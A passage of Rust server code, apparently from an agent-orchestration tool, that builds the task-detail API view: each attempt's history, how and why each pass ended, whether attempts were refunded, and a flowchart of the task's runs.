6318    })
6319    .await
6320}
6321
6322/// One attempt in a task's history, as the task page lists it.
6323#[derive(Debug, Serialize)]
6324struct TaskRunView {
6325    activity: Option<String>,
6326    /// 1-based position in [`Task::runs`].
6327    n: usize,
6328    id: String,
6329    short: String,
6330    /// `competition`, `solo`, `review`, `resume` or `unknown` (record unreadable).
6331    kind: &'static str,
6332    /// The run's own status string; `None` when its record cannot be read.
6333    status: Option<&'static str>,
6334    /// Whether this build could read the run's record. Counted, never hidden.
6335    readable: bool,
6336    /// A verdict from a collapsed panel is provisional, never a decision.
6337    provisional: bool,
6338    /// What kind of attempt this was, in one line.
6339    description: String,
6340    /// How it ended and why the task moved on (or what it is doing now).
6341    outcome: String,
6342    created_at: Option<Timestamp>,
6343    pr: Option<String>,
6344    /// Why this pass ended, classified once; the flowchart is built from it.
6345    exit: RunExit,
6346    /// What the pass did to the task's attempt budget.
6347    attempt: AttemptCost,
6348    /// Edge wording for leaving this entry; names the recorded cause when
6349    /// there is one.
6350    exit_label: String,
6351    /// The position of a later entry for the same run: this entry is an
6352    /// earlier pass of it.
6353    later_pass: Option<usize>,
6354    /// Which pass over the run this entry is (1-based) and how many entries
6355    /// the task lists for the run. Counted from the list, so known even for
6356    /// a legacy record.
6357    pass_n: usize,
6358    passes_of_run: usize,
6359    /// What the run recorded about this pass; `None` for a record from before
6360    /// passes were kept, whose cause stays unknown.
6361    pass: Option<PassView>,
6362    /// The branch a review-only run reopened.
6363    branch: Option<String>,
6364    /// The badge word when it differs from `status` (`stale` / `superseded`);
6365    /// filled by the task route, which can see liveness and later attempts.
6366    badge: Option<String>,
6367}
6368
6369/// One recorded pass over a run, for the wire.
6370#[derive(Debug, Clone, PartialEq, Serialize)]
6371struct PassView {
6372    index: usize,
6373    resumed: bool,
6374    started_at: Timestamp,
6375    ended_at: Option<Timestamp>,
6376    /// `open`, `parked` or `unrecorded`.
6377    end: &'static str,
6378    cause: Option<crate::run::ParkCause>,
6379    /// One line: why it stopped, or that nobody recorded why.
6380    label: String,
6381    /// What the task recorded for this pass; `None` when it was not settled
6382    /// (or settled by a build that kept no record).
6383    cost: Option<crate::queue::PassCost>,
6384}
6385
6386impl PassView {
6387    fn of(p: &crate::run::RunPass, settled: Option<&crate::queue::TaskPass>) -> Self {
6388        use crate::run::PassEnd;
6389        let (end, cause, label) = match &p.end {
6390            None => ("open", None, "still open".to_owned()),
6391            Some(PassEnd::Parked { cause }) => ("parked", Some(cause.clone()), cause.label()),
6392            Some(PassEnd::Unrecorded) => (
6393                "unrecorded",
6394                None,
6395                "stopped without recording why (a crash, a kill or a restart; not known)"
6396                    .to_owned(),
6397            ),
6398        };
6399        Self {
6400            index: p.index,
6401            resumed: p.resumed,
6402            started_at: p.started_at,
6403            ended_at: p.ended_at,
6404            end,
6405            cause,
6406            label,
6407            cost: settled.map(|t| t.cost),
6408        }
6409    }
6410}
6411
6412/// How one pass over a run ended, as far as the task's life is concerned.
6413#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
6414#[serde(rename_all = "snake_case")]
6415enum RunExit {
6416    Unreadable,
6417    /// An earlier pass of a run id that appears again: it stopped short.
6418    Interrupted,
6419    Parked,
6420    MachineBlocked,
6421    QuotaStall,
6422    /// Stalled on a resumed pass with quota losses on record: they may be
6423    /// left over from an earlier pass, so whether this one was refunded is
6424    /// not knowable.
6425    ResumedQuotaStall,
6426    Merged,
6427    Ready,
6428    Superseded,
6429    /// The change was already on the base under other commits: the task
6430    /// finished without this run landing anything.
6431    AlreadyInBase,
6432    /// Stalled without a rate limit to blame: no verdict, attempt spent.
6433    Stalled,
6434    /// Blocked / no-op with a pull request left open: held for a person.
6435    HeldWithPr,
6436    NoopHeld,
6437    /// Blocked or failed: the attempt is spent and the task retries or holds.
6438    Spent,
6439    InProgress,
6440}
6441
6442#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
6443#[serde(rename_all = "snake_case")]
6444enum AttemptCost {
6445    Spent,
6446    Refunded,
6447    None,
6448    /// Cannot be told from the records that remain.
6449    Unknown,
6450}
6451
6452impl RunExit {
6453    fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
6454        let Some(s) = s else {
6455            return Self::Unreadable;
6456        };
6457        let status = s.status;
6458        if resumed_later {
6459            Self::Interrupted
6460        } else if s.parked {
6461            Self::Parked
6462        } else if status == RunStatus::Blocked && s.resource_block.is_some() {
6463            Self::MachineBlocked
6464        } else if !status.done() {
6465            Self::InProgress
6466        } else if matches!(status, RunStatus::Merged) {
6467            Self::Merged
6468        } else if matches!(status, RunStatus::Ready) {
6469            Self::Ready
6470        } else if matches!(status, RunStatus::Superseded) {
6471            Self::Superseded
6472        } else if matches!(status, RunStatus::AlreadyInBase) {
6473            Self::AlreadyInBase
6474        } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
6475            || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
6476        {
6477            if resumed {
6478                Self::ResumedQuotaStall
6479            } else {
6480                Self::QuotaStall
6481            }
6482        } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
6483            Self::HeldWithPr
6484        } else if matches!(status, RunStatus::VerifiedNoop) {
6485            Self::NoopHeld
6486        } else if matches!(status, RunStatus::Stalled) {
6487            Self::Stalled
6488        } else {
6489            Self::Spent
6490        }
6491    }
6492
6493    fn cost(self) -> AttemptCost {
6494        match self {
6495            Self::Parked | Self::QuotaStall | Self::MachineBlocked => AttemptCost::Refunded,
6496            Self::Merged
6497            | Self::Ready
6498            | Self::Stalled
6499            | Self::HeldWithPr
6500            | Self::NoopHeld
6501            | Self::Spent => AttemptCost::Spent,
6502            Self::InProgress => AttemptCost::None,
6503            Self::AlreadyInBase => AttemptCost::Refunded,
6504            Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
6505                AttemptCost::Unknown
6506            }
6507        }
6508    }
6509
6510    /// Short edge wording for leaving a run this way.
6511    fn edge_label(self, status: Option<&str>) -> String {
6512        match self {
6513            Self::Unreadable => "record unreadable".to_owned(),
6514            Self::Interrupted => "interrupted before the run finished".to_owned(),
6515            Self::Parked => "parked, attempt refunded".to_owned(),
6516            Self::MachineBlocked => "machine unavailable, attempt refunded".to_owned(),
6517            Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
6518            Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
6519            Self::Merged => "merged".to_owned(),
6520            Self::Ready => "ready, not merged".to_owned(),
6521            Self::Superseded => "superseded by a later attempt".to_owned(),
6522            Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
6523            Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
6524            Self::HeldWithPr => "blocked, PR left open".to_owned(),
6525            Self::NoopHeld => "verified no-op".to_owned(),
6526            Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
6527            Self::InProgress => "in progress".to_owned(),
6528        }
6529    }
6530
6531    /// Does a task in `end` follow from a run that ended this way? When not,
6532    /// somebody closed or held the task by hand.
6533    fn explains(self, end: TaskStatus) -> bool {
6534        match self {
6535            Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
6536            Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
6537            Self::Unreadable | Self::Superseded | Self::Ready => true,
6538            _ => end != TaskStatus::Done,
6539        }
6540    }
6541}
6542
6543/// `GET /api/queue/{id}` - one task with every attempt it went through.
6544#[derive(Debug, Serialize)]
6545struct TaskDetailView {
6546    #[serde(flatten)]
6547    task: TaskView,
6548    /// Task override, or the default daemon budget when inherited.
6549    /// A separate loop's command-line limit is not visible from here.
6550    max_attempts: usize,
6551    history: Vec<TaskRunView>,
6552    /// Entries in `history`: passes over runs, not distinct runs and not
6553    /// attempts consumed (`task.attempts`).
6554    passes_total: usize,
6555    /// Distinct runs those passes belong to.
6556    runs_distinct: usize,
6557    flow: FlowView,
6558    /// Set for a follow-up task; see [`followup_origin`].
6559    followup_origin: Option<FollowUpOrigin>,
6560    /// How many entries of `history` could not be read.
6561    runs_unreadable: usize,
6562    /// Why the attempt count can be lower than the number of runs.
6563    attempts_note: &'static str,
6564}
6565
6566const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
6567and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
6568on an agent rate limit or was parked for an upgrade. A resumed run appears again in the list as another pass over the same run, so \
6569the entries listed can outnumber the attempts shown after a release or a handed-back attempt.";
6570
6571/// The branch a review-only run reopened, read off the instruction
6572/// `Runner::open_review` writes.
6573fn review_branch_of(instruction: &str) -> Option<&str> {
6574    let rest = instruction.strip_prefix("Review the work already on branch `")?;
6575    rest.split('`').next().filter(|b| !b.is_empty())
6576}
6577
6578/// Where an entry sits in a task's run list.
6579#[derive(Default)]
6580struct RunSlot<'a> {
6581    /// 1-based position.
6582    n: usize,
6583    /// The same run id appeared earlier: this pass resumed it.
6584    resumed: bool,
6585    /// Position of a later pass over the same run id, if any.
6586    resumed_later: Option<usize>,
6587    /// The previous distinct run and how it ended, for the retry note.
6588    prior: Option<(&'a str, RunStatus)>,
6589    last: bool,
6590    /// This pass as the run recorded it, when it did.
6591    pass: Option<&'a crate::run::RunPass>,
6592    /// What the task recorded when it settled this pass.
6593    settled: Option<&'a crate::queue::TaskPass>,
6594    /// 1-based position among the task's entries for this run, and their count.
6595    pass_n: usize,
6596    passes_of_run: usize,
6597}
6598
6599/// Describe one entry of a task's run list. Pure: everything it needs is on
6600/// the run and the task, so it is asserted without a server.
6601fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
6602    let RunSlot {
6603        n,
6604        resumed,
6605        resumed_later,
6606        prior,
6607        last,
6608        pass,
6609        settled,
6610        pass_n,
6611        passes_of_run,
6612    } = at;
6613    let short = run::short_of(id).to_owned();
6614    let Some(s) = state else {
6615        return TaskRunView {
6616            activity: None,
6617            n,
6618            id: id.to_owned(),
6619            short,
6620            kind: "unknown",
6621            status: None,
6622            readable: false,
6623            provisional: false,
6624            description:
6625                "This run's record could not be read by this build (written by a different \
6626                          magi, or removed), so what kind of attempt it was is unknown."
6627                    .to_owned(),
6628            outcome: String::new(),
6629            created_at: None,
6630            pr: None,
6631            exit: RunExit::Unreadable,
6632            attempt: AttemptCost::Unknown,
6633            exit_label: RunExit::Unreadable.edge_label(None),
6634            later_pass: resumed_later,
6635            pass_n,
6636            passes_of_run,
6637            pass: None,
6638            branch: None,
6639            badge: None,
6640        };
6641    };
6642    let branch = review_branch_of(&s.instruction);
6643    let kind = if resumed {
6644        "resume"
6645    } else if branch.is_some() {
6646        "review"
6647    } else if task.solo || s.candidates.len() == 1 {
6648        "solo"
6649    } else {
6650        "competition"
6651    };
6652    let mut description = match kind {
6653        "resume" => {
6654            format!("Resumed run {short}: the same run carried on instead of competing again.")
6655        }
6656        "review" => format!(
6657            "Review the work already on branch `{}`: a review-only pass, no new implementation.",
6658            branch.unwrap_or_default()
6659        ),
6660        "solo" => "Solo run: one implementer straight into review.".to_owned(),
6661        _ => format!(
6662            "Competition: {} candidates judged blind.",
6663            s.candidates.len().max(1)
6664        ),
6665    };
6666    if !resumed && let Some((p, st)) = prior {
6667        description.push_str(&format!(
6668            " A retry: run {p} before it ended {}.",
6669            st.display_label()
6670        ));
6671    }
6672
6673    let status = s.status;
6674    let provisional = matches!(status, RunStatus::Stalled)
6675        || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
6676    let head = if resumed_later.is_some() {
6677        String::new()
6678    } else {
6679        match status {
6680            RunStatus::Merged => "Merged.".to_owned(),
6681            RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
6682            RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
6683            RunStatus::AlreadyInBase => {
6684                "Already in the base: this change landed under other commits, nothing was left to land."
6685                    .to_owned()
6686            }
6687            RunStatus::Stalled => {
6688                "Stalled: the judging panel never reached a quorum, so there is no verdict."
6689                    .to_owned()
6690            }
6691            RunStatus::Blocked if s.resource_block.is_some() => format!("Blocked: {}.", s.resource_block.as_ref().unwrap().description()),
6692            RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
6693            RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
6694            RunStatus::VerifiedNoop => {
6695                "Verified no-op: the candidates found nothing to change.".to_owned()
6696            }
6697            other if other.done() => format!("Ended {}.", other.display_label()),
6698            other => format!("In progress ({}).", other.display_label()),
6699        }
6700    };
6701    let view = pass.map(|p| PassView::of(p, settled));
6702    let recorded_end = view
6703        .as_ref()
6704        .filter(|v| matches!(v.end, "parked" | "unrecorded"));
6705    let cost_words = match view.as_ref().and_then(|v| v.cost) {
6706        Some(crate::queue::PassCost::Refunded) => "its attempt was handed back",
6707        Some(crate::queue::PassCost::Spent) => "its attempt stayed counted",
6708        None => "whether its attempt was handed back was not recorded",
6709    };
6710    let pass_note = if passes_of_run > 1 {
6711        format!(
6712            " This is pass {pass_n} of {passes_of_run} over run {short}: one run, resumed, not {passes_of_run} separate runs."
6713        )
6714    } else {
6715        String::new()
6716    };
6717    let why = if let (Some(k), Some(v)) = (resumed_later, recorded_end) {
6718        // The run recorded this pass's end when it happened.
6719        let cause = match v.end {
6720            "parked" => format!("It was stopped on purpose: {}.", v.label),
6721            _ => format!("It {}.", v.label),
6722        };
6723        format!(
6724            " {cause} {}; pass #{k} resumed the same run.{pass_note}",
6725            capitalise(cost_words)
6726        )
6727    } else if let Some(k) = resumed_later {
6728        // A run is only picked up again while it is unfinished, so an earlier
6729        // pass of a repeated id stopped short; the record keeps only the run's
6730        // latest status, which is left to the pass that carried it on.
6731        // Only the latest state is recorded: `parked` is cleared on resume
6732        // and `quota` accumulates across passes, so neither says why *this*
6733        // pass stopped, and the refund is as unknown as `AttemptCost` says.
6734        let cause = if s.quota.is_empty() {
6735            "the cause was not recorded: a park, a crash or a restart all look the same from here"
6736        } else {
6737            "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
6738        };
6739        format!(
6740            " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
6741        )
6742    } else if s.parked {
6743        match recorded_end.and_then(|v| v.cause.as_ref()) {
6744            Some(cause) => format!(
6745                " Parked at a node boundary ({}); {} and the run resumes.{pass_note}",
6746                cause.label(),
6747                cost_words
6748            ),
6749            None => " Parked at a node boundary; the attempt was handed back and the run resumes."
6750                .to_owned(),
6751        }
6752    } else if status == RunStatus::Blocked && s.resource_block.is_some() {
6753        " The machine could not complete this node; no attempt was spent. Restore agent availability and resume the task.".to_owned()
6754    } else if !status.done()
6755        || matches!(
6756            status,
6757            RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
6758        )
6759    {
6760        String::new()
6761    } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
6762        || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
6763    {
6764        " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
6765            .to_owned()
6766    } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
6767        " It left a pull request open, so the task was held for a person rather than retried."
6768            .to_owned()
6769    } else if matches!(status, RunStatus::VerifiedNoop) {
6770        " Held for a person to check the claim.".to_owned()
6771    } else if last {
6772        " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
6773    } else {
6774        " It spent an attempt, and the task moved on to the next run.".to_owned()
6775    };
6776    let mut exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
6777    let mut attempt = exit.cost();
6778    let mut exit_label = None;
6779    if let Some(v) = recorded_end.filter(|_| resumed_later.is_some() || s.parked) {
6780        let spent = match v.cost {
6781            Some(crate::queue::PassCost::Refunded) => ", attempt refunded",
6782            Some(crate::queue::PassCost::Spent) => ", attempt counted",
6783            None if resumed_later.is_some() => ", refund not recorded",
6784            None => ", attempt refunded",
6785        };
6786        attempt = match v.cost {
6787            Some(crate::queue::PassCost::Refunded) => AttemptCost::Refunded,
6788            Some(crate::queue::PassCost::Spent) => AttemptCost::Spent,
6789            None if resumed_later.is_some() => AttemptCost::Unknown,
6790            None => attempt,
6791        };
6792        if v.end == "parked" {
6793            exit = RunExit::Parked;
6794            exit_label = Some(match v.cause.as_ref() {
6795                Some(c @ crate::run::ParkCause::Upgrade { .. }) => {
6796                    format!("parked for {}{spent}", c.label())
6797                }
6798                Some(c) => format!("parked ({}){spent}", c.label()),
6799                None => format!("parked{spent}"),
6800            });
6801        } else {
6802            exit_label = Some(format!("stopped without a recorded cause{spent}"));
6803        }
6804    }
6805    let exit_label = exit_label.unwrap_or_else(|| exit.edge_label(Some(status.as_str())));
6806    TaskRunView {
6807        activity: None,
6808        n,
6809        id: id.to_owned(),
6810        short,
6811        kind,
6812        status: Some(status.as_str()),
6813        readable: true,
6814        provisional,
6815        description,
6816        outcome: format!("{head}{why}"),
6817        created_at: Some(s.created_at),
6818        pr: s.pr.as_ref().map(|p| p.url.clone()),
6819        exit,
6820        attempt,
6821        exit_label,
6822        later_pass: resumed_later,
6823        pass_n,
6824        passes_of_run,
6825        pass: view,
6826        branch: branch.map(str::to_owned),
6827        badge: None,
6828    }
6829}
6830
6831fn capitalise(s: &str) -> String {
6832    let mut c = s.chars();
6833    c.next().map_or_else(String::new, |f| {
6834        f.to_uppercase().collect::<String>() + c.as_str()
6835    })
6836}
6837
6838/// One box of the task's flowchart.
6839#[derive(Debug, Serialize, PartialEq)]
6840struct FlowNode {
6841    /// Unique by position: a resumed run id appears once per pass.
6842    key: String,
6843    /// `chat`, `followup`, `start`, `run` or `end`.
6844    kind: &'static str,
6845    label: String,
6846    /// Run status (or the task's, for `end`); `None` when it is not a fact
6847    /// about this box (unreadable, or a pass the run later resumed from).
6848    status: Option<&'static str>,
6849    /// Whose status `status` is, so the client picks the right colour table:
6850    /// `task` (the `followup` parent and `end`) or `run`.
6851    status_of: &'static str,
6852    /// Why there is no status: `unreadable`, `interrupted` or `no verdict`.
6853    note: Option<&'static str>,
6854    run_kind: Option<&'static str>,
6855    detail: Option<String>,
6856    /// A readable run with a real verdict; a stall never is.
6857    decided: bool,
6858    readable: bool,
6859    href: Option<String>,
6860    /// Overrides `status` as the badge word (`stale` / `superseded`).
6861    badge: Option<String>,
6862    /// Start of this entry, never the run's latest update or pass settlement.
6863    started_at: Option<Timestamp>,
6864    /// Context links (chat / follow-up) do not represent execution entries.
6865    time_expected: bool,
6866}
6867
6868#[derive(Debug, Serialize, PartialEq)]
6869struct FlowEdge {
6870    from: String,
6871    to: String,
6872    label: String,
6873    attempt: AttemptCost,
6874}
6875
6876#[derive(Debug, Serialize, PartialEq)]
6877struct FlowView {
6878    nodes: Vec<FlowNode>,
6879    edges: Vec<FlowEdge>,
6880    /// Attempts the task has counted since it was last released.
6881    attempts: usize,
6882    max_attempts: usize,
6883    /// Entries in the run list (passes), and how many distinct runs they are.
6884    /// Neither is the number of attempts consumed.
6885    passes: usize,
6886    runs: usize,
6887}
6888
6889/// Turn a task and its described runs into the flowchart's boxes and arrows.
6890/// Pure: the page only draws what this returns.
6891///
6892/// A follow-up opens with its parent (or the merged run) unless the task's
6893/// *source* is itself a chat, in which case the chat stays first and the
6894/// follow-up node comes second. An inherited `Task::origin_chat` alone never
6895/// adds a chat node: `crate::followup` files with `node: "followup"`, so the
6896/// two normally do not coincide and the nearer origin wins.
6897fn task_flow(
6898    task: &Task,
6899    history: &[TaskRunView],
6900    max_attempts: usize,
6901    origin: Option<&FollowUpOrigin>,
6902) -> FlowView {
6903    let max_attempts = task.effective_attempt_limit(max_attempts);
6904    let node = |key: &str, kind, label: String| FlowNode {
6905        key: key.to_owned(),
6906        kind,
6907        label,
6908        status: None,
6909        status_of: "run",
6910        note: None,
6911        run_kind: None,
6912        detail: None,
6913        decided: false,
6914        readable: true,
6915        href: None,
6916        badge: None,
6917        started_at: None,
6918        time_expected: matches!(kind, "start" | "run" | "end"),
6919    };
6920    let mut nodes = Vec::new();
6921    let mut edges: Vec<FlowEdge> = Vec::new();
6922    // A task queued from a chat opens the flow with that conversation.
6923    if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
6924        let mut n = node(
6925            "chat",
6926            "chat",
6927            format!("Chat {}", crate::queue::short(&link.id)),
6928        );
6929        n.href = Some(link.href);
6930        nodes.push(n);
6931        edges.push(FlowEdge {
6932            from: "chat".to_owned(),
6933            to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
6934            label: "queued from chat".to_owned(),
6935            attempt: AttemptCost::None,
6936        });
6937    }
6938    if let Some(o) = origin {
6939        let mut n = match &o.parent {
6940            Some(p) => {
6941                let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
6942                n.status = Some(p.status);
6943                n.status_of = "task";
6944                n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
6945                n.href = Some(p.href.clone());
6946                n
6947            }
6948            None => {
6949                let mut n = node(
6950                    "origin",
6951                    "followup",
6952                    format!("Follow-up of run {}", o.run.short),
6953                );
6954                n.detail = Some("merged run".to_owned());
6955                n.status = o.run.status;
6956                n.href = o.run.href.clone();
6957                if o.run.href.is_none() {
6958                    n.readable = false;
6959                    n.note = Some("unreadable");
6960                }
6961                n
6962            }
6963        };
6964        n.decided = true;
6965        let from = n.key.clone();
6966        nodes.push(n);
6967        let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
6968        let more = o.findings.len().saturating_sub(shown.len());
6969        let label = match (shown.is_empty(), more) {
6970            (true, _) => "open findings".to_owned(),
6971            (false, 0) => format!("open findings {}", shown.join(", ")),
6972            (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
6973        };
6974        edges.push(FlowEdge {
6975            from,
6976            to: "start".to_owned(),
6977            label,
6978            attempt: AttemptCost::None,
6979        });
6980    }
6981    let mut start = node("start", "start", "Task queued".to_owned());
6982    start.started_at = Some(task.created_at);
6983    nodes.push(start);
6984    let mut prev = "start".to_owned();
6985    let mut prev_exit: Option<(RunExit, String, AttemptCost)> = None;
6986    for (i, h) in history.iter().enumerate() {
6987        let key = format!("run-{}", h.n);
6988        let mut n = node(&key, "run", format!("Run {}", h.short));
6989        // Creation marks only the first pass of legacy runs. A resumed pass
6990        // without a record must not inherit the original run's start time.
6991        n.started_at = h
6992            .readable
6993            .then(|| {
6994                h.pass.as_ref().map(|p| p.started_at).or(if h.pass_n == 1 {
6995                    h.created_at
6996                } else {
6997                    None
6998                })
6999            })
7000            .flatten();
7001        n.run_kind = Some(h.kind);
7002        n.readable = h.readable;
7003        n.href = Some(format!("#/runs/{}", h.id));
7004        n.decided = h.readable && !h.provisional;
7005        n.detail = h
7006            .branch
7007            .as_ref()
7008            .map(|b| format!("review-only run of branch {b}"));
7009        match h.exit {
7010            RunExit::Unreadable => n.note = Some("unreadable"),
7011            RunExit::Interrupted => n.note = Some("interrupted"),
7012            // An earlier pass the run recorded as parked: the status shown
7013            // would be the run's current one, not this pass's.
7014            RunExit::Parked if h.later_pass.is_some() => n.note = Some("parked"),
7015            _ => {
7016                n.status = h.status;
7017                n.badge = h.badge.clone();
7018                if h.provisional {
7019                    n.note = Some("no verdict");
7020                }
7021            }
7022        }
7023        let into = match h.kind {
7024            "review" => Some(format!(
7025                "review-only run of branch {}",
7026                h.branch.as_deref().unwrap_or("?")
7027            )),
7028            "resume" => Some("resume the same run".to_owned()),
7029            _ if i > 0 => Some("retry".to_owned()),
7030            _ => None,
7031        };
7032        let attempt = prev_exit.as_ref().map_or(AttemptCost::None, |p| p.2);
7033        let label = match (prev_exit, into) {
7034            (Some((_, l, _)), Some(i)) => format!("{l} \u{2192} {i}"),
7035            (Some((_, l, _)), None) => l,
7036            (None, Some(i)) => i,
7037            (None, None) => "claimed".to_owned(),
7038        };
7039        edges.push(FlowEdge {
7040            from: prev.clone(),
7041            to: key.clone(),
7042            label,
7043            attempt,
7044        });
7045        prev_exit = Some((h.exit, h.exit_label.clone(), h.attempt));
7046        prev = key;
7047        nodes.push(n);
7048    }
7049    let mut end = node("end", "end", task.status.as_str().to_owned());
7050    end.status = Some(task.status.as_str());
7051    end.status_of = "task";
7052    // Other task states do not persist their transition start. In particular,
7053    // blocked_at can change while the task remains blocked.
7054    if task.status == TaskStatus::Held {
7055        end.started_at = task.held_at;
7056    }
7057    nodes.push(end);
7058    let (label, attempt) = match prev_exit {
7059        None => (
7060            format!("no run yet \u{2192} {}", task.status.as_str()),
7061            AttemptCost::None,
7062        ),
7063        Some((e, l, cost)) if e.explains(task.status) => {
7064            (format!("{l} \u{2192} {}", task.status.as_str()), cost)
7065        }
7066        Some((_, _, cost)) => (
7067            format!("closed by hand: task is {}", task.status.as_str()),
7068            cost,
7069        ),
7070    };
7071    edges.push(FlowEdge {
7072        from: prev,
7073        to: "end".to_owned(),
7074        label,
7075        attempt,
7076    });
7077    FlowView {
7078        nodes,
7079        edges,
7080        attempts: task.attempts,
7081        max_attempts,
7082        passes: history.len(),
7083        runs: distinct_runs(&task.runs),
7084    }
7085}
7086
7087/// How many different run ids a task's run list names.
7088fn distinct_runs(runs: &[String]) -> usize {
7089    let mut seen: Vec<&str> = Vec::new();
7090    for r in runs {
7091        if !seen.contains(&r.as_str()) {
7092            seen.push(r);
7093        }
7094    }
7095    seen.len()
7096}
7097
7098/// Describe recorded task passes, retaining unrecorded legacy list entries.
7099fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
7100    let mut slots = Vec::new();
7101    let mut seen = Vec::new();
7102    for run_id in &task.runs {
7103        if seen.contains(&run_id) {
7104            continue;
7105        }
7106        seen.push(run_id);
7107        let state = read(run_id);
7108        let mine: Vec<_> = state.as_ref().map_or_else(Vec::new, |s| {
7109            s.passes
7110                .iter()
7111                .filter(|p| {
7112                    p.task_entry
7113                        || task
7114                            .passes
7115                            .iter()
7116                            .any(|t| t.run == *run_id && t.pass_index == p.index)
7117                })
7118                .cloned()
7119                .collect()
7120        });
7121        let legacy_count = task.runs.iter().filter(|r| *r == run_id).count();
7122        let total = legacy_count.max(mine.len());
7123        let offset = total - mine.len();
7124        for k in 0..total {
7125            // Legacy repeated entries retain their original positions. When
7126            // ids are unique, recorded pass times recover the resume order.
7127            let position = task
7128                .runs
7129                .iter()
7130                .enumerate()
7131                .filter(|(_, r)| *r == run_id)
7132                .nth(k.min(legacy_count - 1))
7133                .unwrap()
7134                .0;
7135            slots.push((
7136                run_id,
7137                state.clone(),
7138                k.checked_sub(offset).and_then(|i| mine.get(i)).cloned(),
7139                position,
7140            ));
7141        }
7142    }
7143    if distinct_runs(&task.runs) == task.runs.len() && slots.len() > task.runs.len() {
7144        slots.sort_by_key(|(_, state, pass, _)| {
7145            pass.as_ref()
7146                .map(|p| p.started_at)
7147                .or_else(|| state.as_ref().map(|s| s.created_at))
7148                .map_or((true, task.created_at), |at| (false, at))
7149        });
7150    } else {
7151        slots.sort_by_key(|(_, _, _, position)| *position);
7152    }
7153    let mut history = Vec::with_capacity(slots.len());
7154    let mut seen: Vec<&str> = Vec::new();
7155    let mut prior: Option<(&str, RunStatus)> = None;
7156    for (i, (run_id, state, pass, _)) in slots.iter().enumerate() {
7157        let k = seen.iter().filter(|r| **r == run_id.as_str()).count();
7158        let resumed = k > 0;
7159        seen.push(run_id);
7160        let total = slots.iter().filter(|(id, _, _, _)| id == run_id).count();
7161        let pass = pass.as_ref();
7162        let settled = pass.and_then(|p| {
7163            task.passes
7164                .iter()
7165                .find(|t| t.run == **run_id && t.pass_index == p.index)
7166        });
7167        history.push(task_run_view(
7168            run_id,
7169            state.as_ref(),
7170            RunSlot {
7171                n: i + 1,
7172                resumed,
7173                resumed_later: slots[i + 1..]
7174                    .iter()
7175                    .position(|(id, _, _, _)| id == run_id)
7176                    .map(|off| i + off + 2),
7177                prior,
7178                last: i + 1 == slots.len(),
7179                pass,
7180                settled,
7181                pass_n: k + 1,
7182                passes_of_run: total,
7183            },
7184            task,
7185        ));
7186        if let Some(s) = &state {
7187            prior = Some((run::short_of(run_id), s.status));
7188        }
7189    }
7190    history
7191}
7192
7193/// Fill [`TaskRunView::badge`] for attempts that are no longer being driven.
7194/// An earlier pass of a resumed run keeps no badge (it has no status box).
7195fn mark_badges(ui: &Ui, task: &Task, history: &mut [TaskRunView]) {
7196    if history.iter().all(|h| h.exit == RunExit::Interrupted) {
7197        return;
7198    }
7199    let (_, claimed, _) = run_row_inputs(ui);
7200    let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
7201    for h in history
7202        .iter_mut()
7203        .filter(|h| h.readable && h.exit != RunExit::Interrupted)
7204    {
7205        let Ok(state) = read_run(&ui.runs, &h.id) else {
7206            continue;
7207        };
7208        if state.status.done() {
7209            continue;
7210        }
7211        let live = state.liveness_with(
7212            claimed.contains(&h.id),
7213            |p| probe.borrow_mut().status(p),
7214            |p| probe.borrow_mut().started_at(p),
7215        );
7216        let waiting = !ui.questions.open_for(&h.id).is_empty();
7217        h.activity = Some(crate::run_progress::activity(&state, live, waiting));
7218        let display = run_display_status(&state, waiting, live);
7219        let word = run_badge_status(&state, &display, live, task.successor_of(&h.id).is_some());
7220        if matches!(word.as_str(), "stale" | "superseded")
7221            || (live == crate::run::Liveness::Dead && matches!(word.as_str(), "parked" | "waiting"))
7222        {
7223            h.badge = Some(word);
7224        }
7225    }
7226}
7227
7228async fn task_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TaskView>> {
7229    blocking(move || {
7230        let id = resolve_task(&ui.queue, &id)?;
7231        let task = ui.queue.get(&id)?;
